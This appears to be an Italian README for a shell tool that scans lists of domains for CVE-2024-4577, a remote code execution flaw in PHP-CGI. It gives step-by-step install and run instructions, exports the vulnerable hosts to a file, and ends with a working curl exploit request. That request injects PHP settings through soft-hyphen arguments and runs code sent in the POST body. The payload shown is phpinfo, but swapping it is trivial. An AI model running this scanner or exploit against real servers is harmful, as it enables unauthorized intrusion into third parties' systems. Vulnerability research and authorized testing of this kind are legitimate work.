
Script shell per scansionare domini per la vulnerabilità di esecuzione remota di codice CVE-2024-4577 in PHP tramite richieste POST appositamente create, esportando i target vulnerabili per la verifica manuale.
Questo script è progettato per verificare la vulnerabilità descritta da CVE-2024-4577, che prevede lo sfruttamento di alcune configurazioni PHP per eseguire codice arbitrario da remoto. Invia una richiesta POST a endpoint specificati su un elenco di domini e controlla se la risposta indica una vulnerabilità.
Installa GNU Parallel:
sudo apt-get install parallel
Clona il repository: Clona questo repository sulla tua macchina locale usando Git:
git clone https://github.com/Yukiioz/CVE-2024-4577.git
Naviga nel repository: Entra nella directory clonata:
cd CVE-2024-4577
Prepara l'elenco dei domini: Crea un file di testo contenente un elenco di domini da verificare. Ogni dominio deve essere su una nuova riga. Ad esempio:
https://example1.com
https://example2.com
https://example3.com
Esegui lo script:
Esegui lo script CVE-2024-4577.sh, passando il percorso del file dell'elenco dei domini come argomento:
./CVE-2024-4577.sh live-subdomains.txt | tee script.log
Esamina l'output:
Lo script mostrerà informazioni sull'avanzamento mentre controlla ogni dominio. Se un dominio viene trovato vulnerabile, verrà evidenziato in rosso. Lo script esporterà anche un elenco di domini vulnerabili in un file chiamato vulnerable_domains.txt.
vulnerable_domains.txtLo script esporta un elenco di domini vulnerabili in un file chiamato vulnerable_domains.txt. Questo file contiene un semplice elenco di domini vulnerabili, con ogni dominio su una nuova riga. Per una conferma manuale aggiuntiva, usa il comando curl per inviare una richiesta POST all'endpoint di destinazione sul dominio. Sostituisci https://dev.example.com/test.php con l'endpoint effettivo sul dominio di destinazione.
curl -X POST https://dev.example.com/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input \
-H "User-Agent: curl/8.3.0" \
--data "<?php phpinfo(); ?>"